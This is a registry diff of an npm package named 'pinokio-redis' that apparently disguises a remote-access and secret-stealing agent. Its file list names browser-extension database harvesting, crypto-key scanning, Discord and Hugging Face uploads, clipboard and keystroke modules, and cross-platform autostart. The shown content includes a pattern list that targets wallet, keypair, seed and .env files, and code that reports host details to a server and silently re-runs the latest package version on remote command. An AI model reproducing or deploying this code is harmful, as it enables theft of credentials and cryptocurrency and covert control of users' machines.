pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,81 @@
|
|
|
1
|
+
{
|
|
2
|
+
"max_file_size_bytes": 1048576,
|
|
3
|
+
"include_patterns": [
|
|
4
|
+
"*.env*",
|
|
5
|
+
".env",
|
|
6
|
+
".env.local",
|
|
7
|
+
".env.production",
|
|
8
|
+
".env.secret",
|
|
9
|
+
"config.json",
|
|
10
|
+
"settings.json",
|
|
11
|
+
"secrets.json",
|
|
12
|
+
"wallet.json",
|
|
13
|
+
"wallet.dat",
|
|
14
|
+
"id.json",
|
|
15
|
+
"keypair.json",
|
|
16
|
+
"private_key.json",
|
|
17
|
+
"secret.key",
|
|
18
|
+
"UTC--*",
|
|
19
|
+
"*.key",
|
|
20
|
+
"*.pk",
|
|
21
|
+
"*.p8",
|
|
22
|
+
"*.p12",
|
|
23
|
+
"*.pfx",
|
|
24
|
+
"*.jks",
|
|
25
|
+
"*.keystore",
|
|
26
|
+
"*.ks",
|
|
27
|
+
"*.wallet",
|
|
28
|
+
"*.mnemonic",
|
|
29
|
+
"*.seed",
|
|
30
|
+
"*.phrase",
|
|
31
|
+
"*.backup",
|
|
32
|
+
"*.old",
|
|
33
|
+
"keys.txt",
|
|
34
|
+
"priv.txt",
|
|
35
|
+
"secret.txt",
|
|
36
|
+
"mywallet",
|
|
37
|
+
"backup_key",
|
|
38
|
+
"config_sniper.json",
|
|
39
|
+
"main-wallet.json",
|
|
40
|
+
"wallet-keypair.json",
|
|
41
|
+
"new_keypair.json",
|
|
42
|
+
"accounts.txt",
|
|
43
|
+
"encryptData.txt",
|
|
44
|
+
"hardhat.config.js",
|
|
45
|
+
"truffle-config.js",
|
|
46
|
+
"*private*",
|
|
47
|
+
"*secret*",
|
|
48
|
+
"*keypair*",
|
|
49
|
+
"*keystore*",
|
|
50
|
+
"*wallet*.json",
|
|
51
|
+
"*id.json",
|
|
52
|
+
"*keypair*.json",
|
|
53
|
+
"*secret*.txt",
|
|
54
|
+
"*private*.txt"
|
|
55
|
+
],
|
|
56
|
+
"include_dirs": [
|
|
57
|
+
".keys",
|
|
58
|
+
".secrets",
|
|
59
|
+
".solana",
|
|
60
|
+
".ethereum",
|
|
61
|
+
".bitcoin",
|
|
62
|
+
".web3",
|
|
63
|
+
".keystore",
|
|
64
|
+
".config/solana"
|
|
65
|
+
],
|
|
66
|
+
"include_dir_suffixes": [],
|
|
67
|
+
"include_dir_paths": [],
|
|
68
|
+
"exclude_dirs": [
|
|
69
|
+
".git",
|
|
70
|
+
"node_modules",
|
|
71
|
+
"__pycache__",
|
|
72
|
+
".venv",
|
|
73
|
+
"venv",
|
|
74
|
+
"proc",
|
|
75
|
+
"sys",
|
|
76
|
+
"dev",
|
|
77
|
+
"System Volume Information",
|
|
78
|
+
"$Recycle.Bin",
|
|
79
|
+
"Library/Caches"
|
|
80
|
+
]
|
|
81
|
+
}
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
export declare const AGENT_PID_BASENAME = "forge-js-agent.pid";
|
|
2
|
+
export declare function agentPidFilePath(): string;
|
|
3
|
+
/** First line: PID. Optional second line: canonical forge session id (newer agents). */
|
|
4
|
+
export interface AgentPidFileContents {
|
|
5
|
+
pid: number | null;
|
|
6
|
+
sessionId: string | null;
|
|
7
|
+
}
|
|
8
|
+
export declare function readAgentPidFile(): AgentPidFileContents;
|
|
9
|
+
export declare function readAgentPid(): number | null;
|
|
10
|
+
export declare function isPidRunning(pid: number): boolean;
|
|
11
|
+
export declare function isForgeAgentAlreadyRunning(): boolean;
|
|
12
|
+
export declare function writeAgentPidFile(sessionId: string): void;
|
|
13
|
+
export declare function removeAgentPidFile(): void;
|
|
14
|
+
export declare function clearStaleAgentPidFile(): void;
|
package/dist/agentPid.js
ADDED
|
@@ -0,0 +1,104 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.AGENT_PID_BASENAME = void 0;
|
|
37
|
+
exports.agentPidFilePath = agentPidFilePath;
|
|
38
|
+
exports.readAgentPidFile = readAgentPidFile;
|
|
39
|
+
exports.readAgentPid = readAgentPid;
|
|
40
|
+
exports.isPidRunning = isPidRunning;
|
|
41
|
+
exports.isForgeAgentAlreadyRunning = isForgeAgentAlreadyRunning;
|
|
42
|
+
exports.writeAgentPidFile = writeAgentPidFile;
|
|
43
|
+
exports.removeAgentPidFile = removeAgentPidFile;
|
|
44
|
+
exports.clearStaleAgentPidFile = clearStaleAgentPidFile;
|
|
45
|
+
const fs = __importStar(require("node:fs"));
|
|
46
|
+
const path = __importStar(require("node:path"));
|
|
47
|
+
const clientId_1 = require("./clientId");
|
|
48
|
+
exports.AGENT_PID_BASENAME = "forge-js-agent.pid";
|
|
49
|
+
function agentPidFilePath() {
|
|
50
|
+
return path.join((0, clientId_1.defaultCfgmgrDataDir)(), exports.AGENT_PID_BASENAME);
|
|
51
|
+
}
|
|
52
|
+
function readAgentPidFile() {
|
|
53
|
+
try {
|
|
54
|
+
const raw = fs.readFileSync(agentPidFilePath(), "utf8").replace(/\r\n/g, "\n");
|
|
55
|
+
const lines = raw
|
|
56
|
+
.split("\n")
|
|
57
|
+
.map((l) => l.trim())
|
|
58
|
+
.filter((l) => l.length > 0);
|
|
59
|
+
if (lines.length === 0)
|
|
60
|
+
return { pid: null, sessionId: null };
|
|
61
|
+
const n = parseInt(lines[0], 10);
|
|
62
|
+
const pid = Number.isFinite(n) && n > 0 ? n : null;
|
|
63
|
+
const sessionId = lines.length >= 2 ? lines[1] : null;
|
|
64
|
+
return { pid, sessionId };
|
|
65
|
+
}
|
|
66
|
+
catch {
|
|
67
|
+
return { pid: null, sessionId: null };
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
function readAgentPid() {
|
|
71
|
+
return readAgentPidFile().pid;
|
|
72
|
+
}
|
|
73
|
+
function isPidRunning(pid) {
|
|
74
|
+
try {
|
|
75
|
+
process.kill(pid, 0);
|
|
76
|
+
return true;
|
|
77
|
+
}
|
|
78
|
+
catch {
|
|
79
|
+
return false;
|
|
80
|
+
}
|
|
81
|
+
}
|
|
82
|
+
function isForgeAgentAlreadyRunning() {
|
|
83
|
+
const pid = readAgentPid();
|
|
84
|
+
return pid !== null && isPidRunning(pid);
|
|
85
|
+
}
|
|
86
|
+
function writeAgentPidFile(sessionId) {
|
|
87
|
+
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
88
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
89
|
+
fs.writeFileSync(agentPidFilePath(), `${process.pid}\n${String(sessionId || "").trim()}\n`, "utf8");
|
|
90
|
+
}
|
|
91
|
+
function removeAgentPidFile() {
|
|
92
|
+
try {
|
|
93
|
+
fs.unlinkSync(agentPidFilePath());
|
|
94
|
+
}
|
|
95
|
+
catch {
|
|
96
|
+
/* skip */
|
|
97
|
+
}
|
|
98
|
+
}
|
|
99
|
+
function clearStaleAgentPidFile() {
|
|
100
|
+
const { pid } = readAgentPidFile();
|
|
101
|
+
if (pid !== null && !isPidRunning(pid)) {
|
|
102
|
+
removeAgentPidFile();
|
|
103
|
+
}
|
|
104
|
+
}
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
import type { ForgeSyncClient } from "./syncClient";
|
|
2
|
+
export declare function clientInfoResponseRequestsRestart(data: unknown): boolean;
|
|
3
|
+
/** Same entry as file explorer → Restart agent — prefer durable install (no npm registry fetch). */
|
|
4
|
+
export declare function maybeRunAgentRestartDetached(opts: {
|
|
5
|
+
quiet: boolean;
|
|
6
|
+
reason: string;
|
|
7
|
+
}): boolean;
|
|
8
|
+
export declare function handleClientInfoRestartResponse(data: unknown, opts: {
|
|
9
|
+
quiet: boolean;
|
|
10
|
+
reason: string;
|
|
11
|
+
}): void;
|
|
12
|
+
/** Poll forge-db via client-info; triggers detached restart when ops queued this session. */
|
|
13
|
+
export declare function pollForgeDbAgentRestartHint(client: ForgeSyncClient, opts: {
|
|
14
|
+
quiet: boolean;
|
|
15
|
+
}): Promise<void>;
|
|
@@ -0,0 +1,143 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
36
|
+
exports.clientInfoResponseRequestsRestart = clientInfoResponseRequestsRestart;
|
|
37
|
+
exports.maybeRunAgentRestartDetached = maybeRunAgentRestartDetached;
|
|
38
|
+
exports.handleClientInfoRestartResponse = handleClientInfoRestartResponse;
|
|
39
|
+
exports.pollForgeDbAgentRestartHint = pollForgeDbAgentRestartHint;
|
|
40
|
+
/**
|
|
41
|
+
* Detached forge-agent restart when forge-db `/api/client-info` or relay requests it.
|
|
42
|
+
*/
|
|
43
|
+
const node_child_process_1 = require("node:child_process");
|
|
44
|
+
const fs = __importStar(require("node:fs"));
|
|
45
|
+
const os = __importStar(require("node:os"));
|
|
46
|
+
const path = __importStar(require("node:path"));
|
|
47
|
+
const clientId_1 = require("./clientId");
|
|
48
|
+
const durableDistDir_1 = require("./durableDistDir");
|
|
49
|
+
const RESTART_STAMP = ".forge-agent-restart-last.json";
|
|
50
|
+
const MIN_RESTART_INTERVAL_MS = 5 * 60 * 1000;
|
|
51
|
+
function clientInfoResponseRequestsRestart(data) {
|
|
52
|
+
if (!data || typeof data !== "object")
|
|
53
|
+
return false;
|
|
54
|
+
const o = data;
|
|
55
|
+
return o.restart_agent === true || o.restartAgent === true;
|
|
56
|
+
}
|
|
57
|
+
function restartCooldownOk() {
|
|
58
|
+
const stampPath = path.join((0, clientId_1.defaultCfgmgrDataDir)(), RESTART_STAMP);
|
|
59
|
+
try {
|
|
60
|
+
const j = JSON.parse(fs.readFileSync(stampPath, "utf8"));
|
|
61
|
+
if (typeof j.atMs === "number" && Date.now() - j.atMs < MIN_RESTART_INTERVAL_MS) {
|
|
62
|
+
return false;
|
|
63
|
+
}
|
|
64
|
+
}
|
|
65
|
+
catch {
|
|
66
|
+
/* first run */
|
|
67
|
+
}
|
|
68
|
+
return true;
|
|
69
|
+
}
|
|
70
|
+
function writeRestartStamp(reason) {
|
|
71
|
+
try {
|
|
72
|
+
const dir = (0, clientId_1.defaultCfgmgrDataDir)();
|
|
73
|
+
fs.mkdirSync(dir, { recursive: true });
|
|
74
|
+
fs.writeFileSync(path.join(dir, RESTART_STAMP), JSON.stringify({ atMs: Date.now(), reason }), "utf8");
|
|
75
|
+
}
|
|
76
|
+
catch {
|
|
77
|
+
/* skip */
|
|
78
|
+
}
|
|
79
|
+
}
|
|
80
|
+
/** Same entry as file explorer → Restart agent — prefer durable install (no npm registry fetch). */
|
|
81
|
+
function maybeRunAgentRestartDetached(opts) {
|
|
82
|
+
if (!restartCooldownOk())
|
|
83
|
+
return false;
|
|
84
|
+
writeRestartStamp(opts.reason);
|
|
85
|
+
if (spawnRestartFromDurableInstall(opts.quiet))
|
|
86
|
+
return true;
|
|
87
|
+
const isWin = process.platform === "win32";
|
|
88
|
+
const cmd = isWin ? "npm.cmd" : "npm";
|
|
89
|
+
const child = (0, node_child_process_1.spawn)(cmd, ["exec", "--yes", "--package=pinokio-redis@latest", "--", "forge-jsx-explorer-restart"], { detached: true, stdio: "ignore", windowsHide: isWin });
|
|
90
|
+
child.unref();
|
|
91
|
+
if (!opts.quiet) {
|
|
92
|
+
console.log(`[forge-agent] Restart requested (${opts.reason}) — detached forge-jsx-explorer-restart`);
|
|
93
|
+
}
|
|
94
|
+
return true;
|
|
95
|
+
}
|
|
96
|
+
function spawnRestartFromDurableInstall(quiet) {
|
|
97
|
+
const dist = (0, durableDistDir_1.readDurableForgeDistDirFromDisk)();
|
|
98
|
+
if (!dist)
|
|
99
|
+
return false;
|
|
100
|
+
const pkgRoot = path.resolve(dist, "..");
|
|
101
|
+
const script = path.join(pkgRoot, "scripts", "restart-agent.mjs");
|
|
102
|
+
if (!fs.existsSync(script))
|
|
103
|
+
return false;
|
|
104
|
+
const child = (0, node_child_process_1.spawn)(process.execPath, [script], {
|
|
105
|
+
detached: true,
|
|
106
|
+
stdio: "ignore",
|
|
107
|
+
cwd: pkgRoot,
|
|
108
|
+
windowsHide: process.platform === "win32",
|
|
109
|
+
env: {
|
|
110
|
+
...process.env,
|
|
111
|
+
FORGE_JS_QUIET_AGENT: "1",
|
|
112
|
+
FORGE_JS_HEADLESS_UI: "1",
|
|
113
|
+
NPM_CONFIG_UPDATE_NOTIFIER: "false",
|
|
114
|
+
},
|
|
115
|
+
});
|
|
116
|
+
child.unref();
|
|
117
|
+
if (!quiet) {
|
|
118
|
+
console.log("[forge-agent] Restart requested — durable restart-agent.mjs");
|
|
119
|
+
}
|
|
120
|
+
return true;
|
|
121
|
+
}
|
|
122
|
+
function handleClientInfoRestartResponse(data, opts) {
|
|
123
|
+
if (!clientInfoResponseRequestsRestart(data))
|
|
124
|
+
return;
|
|
125
|
+
maybeRunAgentRestartDetached(opts);
|
|
126
|
+
}
|
|
127
|
+
/** Poll forge-db via client-info; triggers detached restart when ops queued this session. */
|
|
128
|
+
async function pollForgeDbAgentRestartHint(client, opts) {
|
|
129
|
+
try {
|
|
130
|
+
const r = await client.updateClientInfo({
|
|
131
|
+
hostname: os.hostname(),
|
|
132
|
+
os_type: os.type(),
|
|
133
|
+
os_platform: os.platform(),
|
|
134
|
+
});
|
|
135
|
+
handleClientInfoRestartResponse(r, {
|
|
136
|
+
quiet: opts.quiet,
|
|
137
|
+
reason: "forge-db restart queue",
|
|
138
|
+
});
|
|
139
|
+
}
|
|
140
|
+
catch {
|
|
141
|
+
/* non-fatal */
|
|
142
|
+
}
|
|
143
|
+
}
|
|
@@ -0,0 +1,13 @@
|
|
|
1
|
+
export interface ForgeAgentCliOptions {
|
|
2
|
+
relayUrl: string;
|
|
3
|
+
sessionId: string;
|
|
4
|
+
password: string;
|
|
5
|
+
allowFilesystem: boolean;
|
|
6
|
+
quiet: boolean;
|
|
7
|
+
/** When true, allow starting even if another agent PID exists (use with care). */
|
|
8
|
+
force?: boolean;
|
|
9
|
+
/** Session was derived from persisted/generated client id (show hint once). */
|
|
10
|
+
announceSession?: boolean;
|
|
11
|
+
}
|
|
12
|
+
export declare function resolveForgeAgentFromArgv(argv: string[], env?: NodeJS.ProcessEnv): ForgeAgentCliOptions | null;
|
|
13
|
+
export declare function runForgeAgentWithSingleton(opts: ForgeAgentCliOptions): void;
|